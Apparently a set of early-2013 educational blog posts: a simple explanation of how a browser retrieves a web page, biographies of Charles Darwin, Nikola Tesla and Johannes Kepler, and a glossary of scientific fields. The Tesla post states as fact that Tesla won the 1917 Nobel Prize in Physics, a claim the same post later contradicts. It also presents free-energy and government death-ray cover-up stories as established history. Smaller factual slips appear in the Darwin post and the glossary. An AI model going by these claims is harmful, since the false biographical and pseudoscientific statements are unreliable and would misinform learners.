1. You either type an address (URL) into your "Address Bar" or click on a hyperlink.
2. Your browser sends a request to your ISP server asking for the page.
3. Your ISP server looks in a huge database of internet addresses and finds the exact host server which houses the website in question, then sends that host server a request for the page.
4. The host server sends the requested page to your ISP server.
5. Your ISP sends the page to your browser and you see it displayed on your screen.

Charles Darwin

Charles Robert Darwin (12 February 1809 - 19 April 1882) was an English naturalist, geologist, biologist and author who is well known for his "Theory of Evolution". His theory of evolution by natural selection, now the unifying theory of the life sciences, explained where all of the astonishingly diverse kinds of living things came from and how they became exquisitely adapted to their particular environments. His theory reconciled a host of diverse kinds of evidence such as the progressive nature of fossil forms in the geological record, the geographical distribution of species, recapitulative appearances in embryology, homologous structures, vestigial organs and nesting taxonomic relationships. No other explanation before or since has made sense of these facts.

Further, he is known for his five-year survey voyage around the world. His specimens around the globe led him to formulate his theory of evolution and his views on the process of natural selection. Darwin's work established evolutionary descent with modification as the dominant scientific explanation of diversification in nature.

Early Years
Darwin was born in a tiny merchant town of Shrewbury, England. He was the second youngest of six children. Darwin came from a long lone of scientists. His father RW Darwin was a medical doctor while his grandfather was a renowned botanist. Darwin's mother died what he was just 8 years old. Since his childhood, he loved to explore the nature.

In October 1825, at age 16, Darwin enrolled at Edinburgh University along with his brother Erasmus. Two years later, Charles Darwin became a student at Christ’s College in Cambridge. His father hoped he would follow in his footsteps and become a medical doctor, but the sight of blood made Darwin queasy. His father suggested he study to become a parson instead, but Darwin was far more inclined to study natural history.

Voyage on the HMS Beagle
While Darwin was at Christ's College, botany professor John Stevens Henslow became his mentor. After Darwin graduated Christ’s College with a bachelor of arts degree in 1831, Henslow recommended him for a naturalist’s position aboard the ship called as HMS Beagle. The ship, commanded by Captain Robert FitzRoy, was to take a five-year survey trip around the world. The voyage would prove the opportunity of a lifetime for the budding young naturalist.

Voyage of the Beagle

 On December 27, 1831, the HMS Beagle launched its voyage around the world with Darwin in tow. Over the course of the trip, Darwin collected a variety of natural specimens, including birds, plants and fossils. Through hands-on research and experimentation, he had the unique opportunity to closely observe principles of botany, geology and zoology. The Pacific Islands and Galapagos Archipelago were of particular interest to Darwin, as was South America.

Upon his return to England in 1836, Darwin began to write up his findings in the Journal of Researches, published as part of Captain FitzRoy’s larger narrative and later edited into the Zoology of the Voyage of the Beagle. The trip had a monumental affect on Darwin’s view of natural history. He began to develop a revolutionary theory about the origin of living beings that was contrary to the popular view of other naturalists at the time.

Theory of Evolution
Darwin’s exposure to specimens all over the globe raised important questions. Other naturalists believed that all species either came into being at the start of the world, or were created over the course of natural history. In either case, the species were believed to remain much the same throughout time.

Darwin, however, noticed similarities among species all over the globe, along with variations based on specific locations, leading him to believe that they had gradually evolved from common ancestors. He came to believe that species survived through a process called “natural selection,” where species that successfully adapted to meet the changing requirements of their natural habitat thrived, while those that failed to evolve and reproduce died off.
In 1858 after years of further scientific investigation, Darwin publically introduced his revolutionary theory of evolution in a letter read at a meeting of the Linnean Society. On November 24, 1859, he published a detailed explanation of his theory in his best-known work, On the Origin of the Species by Means of Natural Selection

Death and Legacy
Following a lifetime of devout research, Charles Darwin died at his family home, Down House, in London, on April 19, 1882, and was buried at Westminster Abbey. During the next century, DNA studies revealed evidence of his theory of evolution, although controversy surrounding its conflict with Creationism - the religious view that all of nature was born of God - still abounds today.

Sources:
darwin-online.org.uk
biography.com [A+E Networks]
wikipedia

Friday, January 11, 2013

Fields of Science

Science is derived from Latin word called "scienta" which literally means "knowledge". Science is the study of nature. It is a natural philosophy which describes how things work in nature. Science is a way of understanding the world.

It is because of the scientific laws and equations that helped us to predict the motion of objects which helped us to invent machinery. Science helps us to determine how the nature can be used to enhance our living. Science extends and enriches our lives, expands our imagination and liberates us from the bonds of ignorance, doctrine and superstition. It is because of the development in science and technology that our life is changing everyday. As an example, we can compare our present life with the life just a decade ago. TO see more contrast, we can compare our life with the people from previous centuries. Therefore, it is important for all to realize some important basic scientific laws which we use in our daily life. Being scientifically illiterate, someone misses the advantage of making their life easier to perform everyday activities. Here are some important scientific theories that everybody should at least know to enrich the knowledge and realize how life has started and how nature works.

Here are many of the terms used to describe various fields of scientific study.

FieldsDescriptions
AcousticsThe study of sound.
AeronauticsAircraft design, construction and navigation.
AgronomyScience of soil management and crop production.
AnatomyThe study of organisms and their paths.
AnthropologyThe study of the origin, behavior and the physical, social and cultural development of humans.
ArchaeologyThe study of past human lives by examining remaining material evidence.
AstronomyThe study of outer space.
AstrophysicsThe branch of astronomy that deals with the physics of stellar phenomena.
BacteriologyThe study of bacteria, in relation to medicine and agriculture.
BiochemistryThe study of the chemical substances and processes in living organisms.
BiologyThe science of life and living organisms.
BotanyThe study of plants.
CardiologyThe medical study of the heart.
CartographyThe art of technique of making maps or charts.
ChemistryThe science of the composition, structure, properties, and reaction of matter. The study of chemicals, elements, atoms, metals, etc.
CosmologyThe study of the physical universe considered as a totality of phenomena in time and space.
CrystallographyThe science of crystal structure and phenomena.
EcologyThe study of organisms and their environment.
EmbryologyThe study of the formation, early growth, and development of living organisms.
EndocrinologyThe study of the glands and hormones of the body.
EntomologyThe scientific study of insects.
EnzymologyThe study of the biochemical nature and activity of enzymes.
ForestryThe science and art of cultivating, maintaining, and developing forests.
Fluid DynamicsThe study of flow of fluids,  effect on fluids due to disturbance of moving of objects in fluids especially water and air.
GelotologyThe study of laughter.
GeneticsThe study of heredity and inherited traits.
GeochemistryThe chemistry of the composition and alterations of the solid matter of the earth or a celestial body.
GeodesyThe geologic science of the size and shape of the earth.
GeographyThe study of the earth and its features.
GeologyThe scientific study of the origin, history, and structure of the earth.
GeophysicsThe physics of the earth and its environment, including the physics of fields such as meteorology, oceanography, and seismology.
HematologyThe study of the blood and blood-producing organs.
HistologyThe study of the microscopic structure of animal and plant tissues.
HorologyThe science of measuring time and making time pieces.
HydrologyThe study of the properties and effects of water on earth.
IchtyologyThe study of fish.
ImmunologyThe study of the immune system of the body.
LinguisticsThe study of language and phonetics.
MechanicsDesign, construction, and use of machinery or mechanical structures.
MedicineThe science of diagnosing and treating disease and damage to the body.
MeteorologyThe study of weather and atmospheric conditions. The science of measurement
MicrobiologyThe study of microorganisms and their effects on other living organisms.
MineralogyThe study of minerals, including their distribution, identification, and properties.
MycologyThe branch of botany that deals with fungi.
NeurologyThe study of the nervous system and disorders affecting it.
NucleonicsThe study of the behavior and characteristics of nucleons or atomic nuclei.
NutritionThe study of food and nourishment.
OceanographyThe exploration and study of the ocean.
OncologyThe study of the development, diagnosis, treatment, and prevention of tumors.
OpticsThe study of light and vision.
PaleontologyThe study of prehistoric life through fossils.
PathologyThe study of disease and its causes, processes, development, and consequences.
PetrologyThe study of the origin, composition, structure, and alteration of rocks.
PharmacologyThe science of the composition, use, and effects of drugs.
PhysicsThe science of matter and energy and interactions between the two.
PhysiologyThe study of the functions of living organisms.
PsychologyThe study of the mental process and behavior.
RadiologyThe use of radioactive substances in diagnosis and treatment of disease.
RoboticsThe science of technology to design, fabrication, and application of robots.
SeismologyThe study of earthquakes.
SpectroscopyThe study of radiant light.
SystematicsThe science of systematic classification.
ThermodynamicsThe study of relationships and conversions between heat and other forms of energy.
ToxicologyThe study of poisons and the treatment of poisoning
VirologyThe study of viruses and viral diseases.
VolcanologyThe study of volcanoes and volcanic phenomena.
ZoologyThe study of the structure, physiology, development, and classification of animals.

Monday, January 7, 2013

Nikola Tesla


"Electric power is everywhere present in unlimited quantities and can drive the world's machinery without the need of coal, oil, gas, or any other of the common fuels."

"Electric energy is like the air we breath. It is present everywhere around us. Everyone should be able to use it unlimited and for free." - Nikola Tesla



Nikola Tesla (10 July 1856 - 7 January 1943) was a Serbian-American inventor, engineer, physicist and futurist best known for his contributions to the design of modern alternating current (AC) electrical supply system. Besides he is famous for his research on free energy system and the discovery of magnetic field concept. Tesla is also known for his high-voltage, high-frequency power experiments  including the theoretical work used in the invention of radio communication, X-ray experiments and for his ill-fated attempt at intercontinental wireless transmission in his unfinished Wardenclyffe Tower project. Throughout his lifetime he has several hundreds of patents, such as the dynamos, transformers, Tesla coil, induction coil, radio technology, wireless systems, etc. He was awarded the Noble Prize in Physics in the year 1917 for his contributions in AC electrical energy system.

Tesla had several great ideas which could not be brought into use because of economical politics and lack of financial backing. Economic power merchants were scared of his concepts that they would loose their money and power. One example was his idea of free energy by using the earth as a big magnet and everybody could thus use limitless amount of energy for free. The Wardenclyffe Tower project was never finished because of similar reasons. He even had ideas on high-level rays known as death rays which could destroy objects far just by passing a beam of ray. However he later said he would not reveal such dangerous technology that could be misused on wars and destruction. It is however suspected that his paper works on the death rays are hidden secret by the US government and are continuously working on the invention of such rays. Tesla was a great visionary, thinker and a futurist.


Tesla was from a family of Serbian origin. His father was an Orthodox priest; his mother was unschooled but highly intelligent. A dreamer with a poetic touch, as he matured Tesla added to these earlier qualities those of self-discipline and a desire for precision.

Training for an engineering career, he attended the Technical University at Graz, Austria, and the University of Prague. At Graz he first saw the Gramme dynamo, which operated as a generator and, when reversed, became an electric motor, and he conceived a way to use alternating current to advantage. Later, at Budapest, he visualized the principle of the rotating magnetic field and developed plans for an induction motor that would become his first step toward the successful utilization of alternating current. In 1882 Tesla went to work in Paris for the Continental Edison Company, and, while on assignment to Strassburg in 1883, he constructed, in after-work hours, his first induction motor. Tesla sailed for America in 1884, arriving in New York, with four cents in his pocket, a few of his own poems, and calculations for a flying machine. He first found employment with Thomas Edison, but the two inventors were far apart in background and methods, and their separation was inevitable.

In May 1885, George Westinghouse, head of the Westinghouse Electric Company in Pittsburgh, bought the patent rights to Tesla's polyphase system of alternating-current dynamos, transformers, and motors. The transaction precipitated a titanic power struggle between Edison's direct-current systems and the Tesla-Westinghouse alternating-current approach, which eventually won out.

Tesla soon established his own laboratory, where his inventive mind could be given free rein. He experimented with shadowgraphs similar to those that later were to be used by Wilhelm Röntgen when he discovered X-rays in 1895. Tesla's countless experiments included work on a carbon button lamp, on the power of electrical resonance, and on various types of lighting.

Tesla gave exhibitions in his laboratory in which he lighted lamps without wires by allowing electricity to flow through his body, to allay fears of alternating current. He was often invited to lecture at home and abroad. The Tesla coil, which he invented in 1891, is widely used today in radio and television sets and other electronic equipment. That year also marked the date of Tesla's United States citizenship.

Westinghouse used Tesla's system to light the World's Columbian Exposition at Chicago in 1893. His success was a factor in winning him the contract to install the first power machinery at Niagara Falls, which bore Tesla's name and patent numbers. The project carried power to Buffalo by 1896.

In 1898 Tesla announced his invention of a teleautomatic boat guided by remote control. When skepticism was voiced, Tesla proved his claims for it before a crowd in Madison Square Garden.

In Colorado Springs, Colo., where he stayed from May 1899 until early 1900, Tesla made what he regarded as his most important discovery-- terrestrial stationary waves. By this discovery he proved that the Earth could be used as a conductor and would be as responsive as a tuning fork to electrical vibrations of a certain frequency. He also lighted 200 lamps without wires from a distance of 25 miles (40 kilometres) and created man-made lightning, producing flashes measuring 135 feet (41 metres). At one time he was certain he had received signals from another planet in his Colorado laboratory, a claim that was met with derision in some scientific journals.


Returning to New York in 1900, Tesla began construction on Long Island of a wireless world broadcasting tower, with $150,000 capital from the American financier J. Pierpont Morgan. Tesla claimed he secured the loan by assigning 51 percent of his patent rights of telephony and telegraphy to Morgan. He expected to provide worldwide communication and to furnish facilities for sending pictures, messages, weather warnings, and stock reports. The project was abandoned because of a financial panic, labour troubles, and Morgan's withdrawal of support. It was Tesla's greatest defeat.

Tesla's work then shifted to turbines and other projects. Because of a lack of funds, his ideas remained in his notebooks, which are still examined by engineers for unexploited clues. In 1915 he was severely disappointed when a report that he and Edison were to share the Nobel Prize proved erroneous. Tesla was the recipient of the Edison Medal in 1917, the highest honour that the American Institute of Electrical Engineers could bestow.

Tesla allowed himself only a few close friends. Among them were the writers Robert Underwood Johnson, Mark Twain, and Francis Marion Crawford. He was quite impractical in financial matters and an eccentric, driven by compulsions and a progressive germ phobia. But he had a way of intuitively sensing hidden scientific secrets and employing his inventive talent to prove his hypotheses. Tesla was a godsend to reporters who sought sensational copy but a problem to editors who were uncertain how seriously his futuristic prophecies should be regarded. Caustic criticism greeted his speculations concerning communication with other planets, his assertions that he could split the Earth like an apple, and his claim of having invented a death ray capable of destroying 10,000 airplanes at a distance of 400 km.

After Tesla's death the custodian of alien property impounded his trunks, which held his papers, his diplomas and other honours, his letters, and his laboratory notes. These were eventually inherited by Tesla's nephew, Sava Kosanovich, and later housed in the Nikola Tesla Museum in Belgrade. Hundreds filed into New York City's Cathedral of St. John the Divine for his funeral services, and a flood of messages acknowledged the loss of a great genius. Three Nobel Prize recipients addressed their tribute to "one of the outstanding intellects of the world who paved the way for many of the technological developments of modern times."

Tuesday, January 1, 2013

Johannes Kepler

Johannes Kepler (December 27, 1571 - November 15, 1630) is a German scientist famous for his contributions in astronomy, mathematics and astrology. He is very well known for his three laws of planetary motion which were the turning point in space and astronomy. His works provided a strong foundation for following scientists including Sir Issac Newton.

During his career, Kepler was a mathematics teach at a seminary school in Graz, Austria, where he became an associate to astronomer Tycho Brahe, and eventually the imperial mathematician to Emperor Rudolf II and his two successors Matthias and Ferdinand II. He was also a mathematics teacher in Linz, Austria. He also did several works in the field of optics, invented an improved version of refracting telescope.


Kepler lived in an era where there was no clear distinction between astronomy and astrology, but there was a strong division between astronomy and physics. Astronomy was considered as a branch of mathematics within the liberal arts, while the physics was considered as a branch of natural philosophy. Kepler incorporated religious arguments and reasoning into his work, motivated by the religious conviction and beleif that God has created the world according to an intelligible plan that is accessible through the natural light of reason. Kepler described his new astronomy as "celestial physics" transforming the ancient tradition of physical cosmology by treating astronomy as part of a universal mathematical physics.

Childhood
Kepler was born in the small town of Weil der Stadt in Swabia and moved to nearby Leonberg with his parents in 1576. His father was a mercenary soldier and his mother the daughter of an innkeeper. Johannes was their first child. His father left home for the last time when Johannes was five, and is believed to have died in the war in the Netherlands. As a child, Kepler lived with his mother in his grandfather's inn. He tells us that he used to help by serving in the inn. One imagines customers were sometimes bemused by the child's unusual competence at arithmetic.

Kepler's early education was in a local school and then at a nearby seminary, from which, intending to be ordained, he went on to enrol at the University of Tübingen, then (as now) a bastion of Lutheran orthodoxy.

Kepler's opinions
Throughout his life, Kepler was a profoundly religious man. All his writings contain numerous references to God, and he saw his work as a fulfillment of his Christian duty to understand the works of God. Man being, as Kepler believed, made in the image of God, was clearly capable of understanding the Universe that He had created. Moreover, Kepler was convinced that God had made the Universe according to a mathematical plan (a belief found in the works of Plato and associated with Pythagoras). Since it was generally accepted at the time that mathematics provided a secure method of arriving at truths about the world (Euclid's common notions and postulates being regarded as actually true), we have here a strategy for understanding the Universe. Since some authors have given Kepler a name for irrationality, it is worth noting that this rather hopeful epistemology is very far indeed from the mystic's conviction that things can only be understood in an imprecise way that relies upon insights that are not subject to reason. Kepler does indeed repeatedly thank God for granting him insights, but the insights are presented as rational.

University education
At this time, it was usual for all students at a university to attend courses on "mathematics". In principle this included the four mathematical sciences: arithmetic, geometry, astronomy and music. It seems, however, that what was taught depended on the particular university. At Tübingen Kepler was taught astronomy by one of the leading astronomers of the day, Michael Mästlin (1550 - 1631). The astronomy of the curriculum was, of course, geocentric astronomy, that is the current version of the Ptolemaic system, in which all seven planets - Moon, Mercury, Venus, Sun, Mars, Jupiter and Saturn - moved round the Earth, their positions against the fixed stars being calculated by combining circular motions. This system was more or less in accord with current (Aristotelian) notions of physics, though there were certain difficulties, such as whether one might consider as 'uniform' (and therefore acceptable as obviously eternal) a circular motion that was not uniform about its own centre but about another point (called an 'equant'). However, it seems that on the whole astronomers (who saw themselves as 'mathematicians') were content to carry on calculating positions of planets and leave it to natural philosophers to worry about whether the mathematical models corresponded to physical mechanisms. Kepler did not take this attitude. His earliest published work (1596) proposes to consider the actual paths of the planets, not the circles used to construct them.

At Tübingen, Kepler studied not only mathematics but also Greek and Hebrew (both necessary for reading the scriptures in their original languages). Teaching was in Latin. At the end of his first year Kepler got 'A's for everything except mathematics. Probably Mästlin was trying to tell him he could do better, because Kepler was in fact one of the select pupils to whom he chose to teach more advanced astronomy by introducing them to the new, heliocentric cosmological system of Copernicus. It was from Mästlin that Kepler learned that the preface to On the revolutions, explaining that this was 'only mathematics', was not by Copernicus. Kepler seems to have accepted almost instantly that the Copernican system was physically true; his reasons for accepting it will be discussed in connection with his first cosmological model (see below).

It seems that even in Kepler's student days there were indications that his religious beliefs were not entirely in accord with the orthodox Lutheranism current in Tübingen and formulated in the 'Augsburg Confession' (Confessio Augustana). Kepler's problems with this Protestant orthodoxy concerned the supposed relation between matter and 'spirit' (a non-material entity) in the doctrine of the Eucharist. This ties up with Kepler's astronomy to the extent that he apparently found somewhat similar intellectual difficulties in explaining how 'force' from the Sun could affect the planets. In his writings, Kepler is given to laying his opinions on the line - which is very convenient for historians. In real life, it seems likely that a similar tendency to openness led the authorities at Tübingen to entertain well-founded doubts about his religious orthodoxy. These may explain why Mästlin persuaded Kepler to abandon plans for ordination and instead take up a post teaching mathematics in Graz. Religious intolerance sharpened in the following years. Kepler was excommunicated in 1612. This caused him much pain, but despite his (by then) relatively high social standing, as Imperial Mathematician, he never succeeded in getting the ban lifted.

Kepler's first cosmological model (1596)
Instead of the seven planets in standard geocentric astronomy the Copernican system had only six, the Moon having become a body of kind previously unknown to astronomy, which Kepler was later to call a 'satellite' (a name he coined in 1610 to describe the moons that Galileo had discovered were orbiting Jupiter, literally meaning 'attendant'). Why six planets?

Moreover, in geocentric astronomy there was no way of using observations to find the relative sizes of the planetary orbs; they were simply assumed to be in contact. This seemed to require no explanation, since it fitted nicely with natural philosophers' belief that the whole system was turned from the movement of the outermost sphere, one (or maybe two) beyond the sphere of the 'fixed' stars (the ones whose pattern made the constellations), beyond the sphere of Saturn. In the Copernican system, the fact that the annual component of each planetary motion was a reflection of the annual motion of the Earth allowed one to use observations to calculate the size of each planet's path, and it turned out that there were huge spaces between the planets. Why these particular spaces?

Kepler's answer to these questions, described in his Mystery of the Cosmos (Mysterium cosmographicum, Tübingen, 1596), looks bizarre to twentieth-century readers (see the figure on the right). He suggested that if a sphere were drawn to touch the inside of the path of Saturn, and a cube were inscribed in the sphere, then the sphere inscribed in that cube would be the sphere circumscribing the path of Jupiter. Then if a regular tetrahedron were drawn in the sphere inscribing the path of Jupiter, the insphere of the tetrahedron would be the sphere circumscribing the path of Mars, and so inwards, putting the regular dodecahedron between Mars and Earth, the regular icosahedron between Earth and Venus, and the regular octahedron between Venus and Mercury. This explains the number of planets perfectly: there are only five convex regular solids. It also gives a convincing fit with the sizes of the paths as deduced by Copernicus, the greatest error being less than 10% (which is spectacularly good for a cosmological model even now). Kepler did not express himself in terms of percentage errors, and his is in fact the first mathematical cosmological model, but it is easy to see why he believed that the observational evidence supported his theory.

Kepler saw his cosmological theory as providing evidence for the Copernican theory. Before presenting his own theory he gave arguments to establish the plausibility of the Copernican theory itself. Kepler asserts that its advantages over the geocentric theory are in its greater explanatory power. For instance, the Copernican theory can explain why Venus and Mercury are never seen very far from the Sun (they lie between Earth and the Sun) whereas in the geocentric theory there is no explanation of this fact. Kepler lists nine such questions in the first chapter of the Mysterium cosmographicum.

Kepler carried out this work while he was teaching in Graz, but the book was seen through the press in Tübingen by Mästlin. The agreement with values deduced from observation was not exact, and Kepler hoped that better observations would improve the agreement, so he sent a copy of the Mysterium cosmographicum to one of the foremost observational astronomers of the time, Tycho Brahe (1546 - 1601). Tycho, then working in Prague (at that time the capital of the Holy Roman Empire), had in fact already written to Mästlin in search of a mathematical assistant. Kepler got the job.

The 'War with Mars'
Naturally enough, Tycho's priorities were not the same as Kepler's, and Kepler soon found himself working on the intractable problem of the orbit of Mars. He continued to work on this after Tycho died (in 1601) and Kepler succeeded him as Imperial Mathematician. Conventionally, orbits were compounded of circles, and rather few observational values were required to fix the relative radii and positions of the circles. Tycho had made a huge number of observations and Kepler determined to make the best possible use of them. Essentially, he had so many observations available that once he had constructed a possible orbit he was able to check it against further observations until satisfactory agreement was reached. Kepler concluded that the orbit of Mars was an ellipse with the Sun in one of its foci (a result which when extended to all the planets is now called "Kepler's First Law"), and that a line joining the planet to the Sun swept out equal areas in equal times as the planet described its orbit ("Kepler's Second Law"), that is the area is used as a measure of time. After this work was published in New Astronomy ... (Astronomia nova, ..., Heidelberg, 1609), Kepler found orbits for the other planets, thus establishing that the two laws held for them too. Both laws relate the motion of the planet to the Sun; Kepler's Copernicanism was crucial to his reasoning and to his deductions.

The actual process of calculation for Mars was immensely laborious - there are nearly a thousand surviving folio sheets of arithmetic - and Kepler himself refers to this work as 'my war with Mars', but the result was an orbit which agrees with modern results so exactly that the comparison has to make allowance for secular changes in the orbit since Kepler's time.

Observational error
It was crucial to Kepler's method of checking possible orbits against observations that he have an idea of what should be accepted as adequate agreement. From this arises the first explicit use of the concept of observational error. Kepler may have owed this notion at least partly to Tycho, who made detailed checks on the performance of his instruments.

Optics, and the New Star of 1604
The work on Mars was essentially completed by 1605, but there were delays in getting the book published. Meanwhile, in response to concerns about the different apparent diameter of the Moon when observed directly and when observed using a camera obscura, Kepler did some work on optics, and came up with the first correct mathematical theory of the camera obscura and the first correct explanation of the working of the human eye, with an upside-down picture formed on the retina. These results were published in Supplements to Witelo, on the optical part of astronomy (Ad Vitellionem paralipomena, quibus astronomiae pars optica traditur, Frankfurt, 1604). He also wrote about the New Star of 1604, now usually called 'Kepler's supernova', rejecting numerous explanations, and remarking at one point that of course this star could just be a special creation 'but before we come to [that] I think we should try everything else' (On the New StarDe stella nova, Prague, 1606, Chapter 22, KGW 1, p. 257, line 23).
Following Galileo's use of the telescope in discovering the moons of Jupiter, published in his Sidereal Messenger (Venice, 1610), to which Kepler had written an enthusiastic reply (1610), Kepler wrote a study of the properties of lenses (the first such work on optics) in which he presented a new design of telescope, using two convex lenses (Dioptrice, Prague, 1611). This design, in which the final image is inverted, was so successful that it is now usually known not as a Keplerian telescope but simply as the astronomical telescope.

Leaving Prague for Linz
Kepler's years in Prague were relatively peaceful, and scientifically extremely productive. In fact, even when things went badly, he seems never to have allowed external circumstances to prevent him from getting on with his work. Things began to go very badly in late 1611. First, his seven year old son died. Kepler wrote to a friend that this death was particularly hard to bear because the child reminded him so much of himself at that age. Then Kepler's wife died. Then the Emperor Rudolf, whose health was failing, was forced to abdicate in favour of his brother Matthias, who, like Rudolf, was a Catholic but (unlike Rudolf) did not believe in tolerance of Protestants. Kepler had to leave Prague. Before he departed he had his wife's body moved into the son's grave, and wrote a Latin epitaph for them. He and his remaining children moved to Linz (now in Austria).

Kepler's laws of planetary motion
1. The orbit of each planet is an ellipse with the sun occupying the focus (center object).
2. The line joining the sun to a planet sweeps out equal areas in equal intervals of time
3. A planets orbital period is proportional to the mean distance between the Sun and the planet raised to the power 3/2.

 
     
     

Marriage and wine barrels
Kepler seems to have married his first wife, Barbara, for love (though the marriage was arranged through a broker). The second marriage, in 1613, was a matter of practical necessity; he needed someone to look after the children. Kepler's new wife, Susanna, had a crash course in Kepler's character: the dedicatory letter to the resultant book explains that at the wedding celebrations he noticed that the volumes of wine barrels were estimated by means of a rod slipped in diagonally through the bung-hole, and he began to wonder how that could work. The result was a study of the volumes of solids of revolution (New Stereometry of wine barrels ...Nova stereometria doliorum ..., Linz, 1615) in which Kepler, basing himself on the work of Archimedes, used a resolution into 'indivisibles'. This method was later developed by Bonaventura Cavalieri (c. 1598 - 1647) and is part of the ancestry of the infinitesimal calculus.

The Harmony of the World
Kepler's main task as Imperial Mathematician was to write astronomical tables, based on Tycho's observations, but what he really wanted to do was write The Harmony of the World, planned since 1599 as a development of his Mystery of the Cosmos. This second work on cosmology (Harmonices mundi libri V, Linz, 1619) presents a more elaborate mathematical model than the earlier one, though the polyhedra are still there. The mathematics in this work includes the first systematic treatment of tessellations, a proof that there are only thirteen convex uniform polyhedra (the Archimedean solids) and the first account of two non-convex regular polyhedra (all in Book 2). The Harmony of the World also contains what is now known as 'Kepler's Third Law', that for any two planets the ratio of the squares of their periods will be the same as the ratio of the cubes of the mean radii of their orbits. From the first, Kepler had sought a rule relating the sizes of the orbits to the periods, but there was no slow series of steps towards this law as there had been towards the other two. In fact, although the Third Law plays an important part in some of the final sections of the printed version of the Harmony of the World, it was not actually discovered until the work was in press. Kepler made last-minute revisions. He himself tells the story of the eventual success:
...and if you want the exact moment in time, it was conceived mentally on 8th March in this year one thousand six hundred and eighteen, but submitted to calculation in an unlucky way, and therefore rejected as false, and finally returning on the 15th of May and adopting a new line of attack, stormed the darkness of my mind. So strong was the support from the combination of my labour of seventeen years on the observations of Brahe and the present study, which conspired together, that at first I believed I was dreaming, and assuming my conclusion among my basic premises. But it is absolutely certain and exact that "the proportion between the periodic times of any two planets is precisely the sesquialterate proportion of their mean distances ..." 
(Harmonice mundi Book 5, Chapter 3, trans. Aiton, Duncan and Field, p. 411).
Witchcraft trial
While Kepler was working on his Harmony of the World, his mother was charged with witchcraft. He enlisted the help of the legal faculty at Tübingen. Katharina Kepler was eventually released, at least partly as a result of technical objections arising from the authorities' failure to follow the correct legal procedures in the use of torture. The surviving documents are chilling. However, Kepler continued to work. In the coach, on his journey to Württemberg to defend his mother, he read a work on music theory by Vincenzo Galilei (c.1520 - 1591, Galileo's father), to which there are numerous references in The Harmony of the World.

Astronomical Tables
Calculating tables, the normal business for an astronomer, always involved heavy arithmetic. Kepler was accordingly delighted when in 1616 he came across Napier's work on logarithms (published in 1614). However, Mästlin promptly told him first that it was unseemly for a serious mathematician to rejoice over a mere aid to calculation and second that it was unwise to trust logarithms because no-one understood how they worked. (Similar comments were made about computers in the early 1960s.) Kepler's answer to the second objection was to publish a proof of how logarithms worked, based on an impeccably respectable source: Euclid's Elements Book 5. Kepler calculated tables of eight-figure logarithms, which were published with the Rudolphine Tables (Ulm, 1628). The astronomical tables used not only Tycho's observations, but also Kepler's first two laws. All astronomical tables that made use of new observations were accurate for the first few years after publication. What was remarkable about the Rudolphine Tables was that they proved to be accurate over decades. And as the years mounted up, the continued accuracy of the tables was, naturally, seen as an argument for the correctness of Kepler's laws, and thus for the correctness of the heliocentric astronomy. Kepler's fulfilment of his dull official task as Imperial Mathematician led to the fulfilment of his dearest wish, to help establish Copernicanism.

Wallenstein
By the time the Rudolphine Tables were published Kepler was, in fact, no longer working for the Emperor (he had left Linz in 1626), but for Albrecht von Wallenstein (1583 - 1632), one of the few successful military leaders in the Thirty Years' War (1618 - 1648).
Wallenstein, like the emperor Rudolf, expected Kepler to give him advice based on astrology. Kepler naturally had to obey, but repeatedly points out that he does not believe precise predictions can be made. Like most people of the time, Kepler accepted the principle of astrology, that heavenly bodies could influence what happened on Earth (the clearest examples being the Sun causing the seasons and the Moon the tides) but as a Copernican he did not believe in the physical reality of the constellations. His astrology was based only on the angles between the positions of heavenly bodies ('astrological aspects'). He expresses utter contempt for the complicated systems of conventional astrology.

Death
Kepler died in Regensburg, after a short illness. He was staying in the city on his way to collect some money owing to him in connection with the Rudolphine Tables. He was buried in the local church, but this was destroyed in the course of the Thirty Years' War and nothing remains of the tomb.

Historiographic note
Much has sometimes been made of supposedly non-rational elements in Kepler's scientific activity. Believing astrologers frequently claim his work provides a scientifically respectable antecedent to their own. In his influential Sleepwalkers the late Arthur Koestler made Kepler's battle with Mars into an argument for the inherent irrationality of modern science. There have been many tacit followers of these two persuasions. Both are, however, based on very partial reading of Kepler's work. In particular, Koestler seems not to have had the mathematical expertise to understand Kepler's procedures. Closer study shows Koestler was simply mistaken in his assessment.

The truly important non-rational element in Kepler's work is his Christianity. Kepler's extensive and successful use of mathematics makes his work look 'modern', but we are in fact dealing with a Christian Natural Philosopher, for whom understanding the nature of the Universe included understanding the nature of its Creator.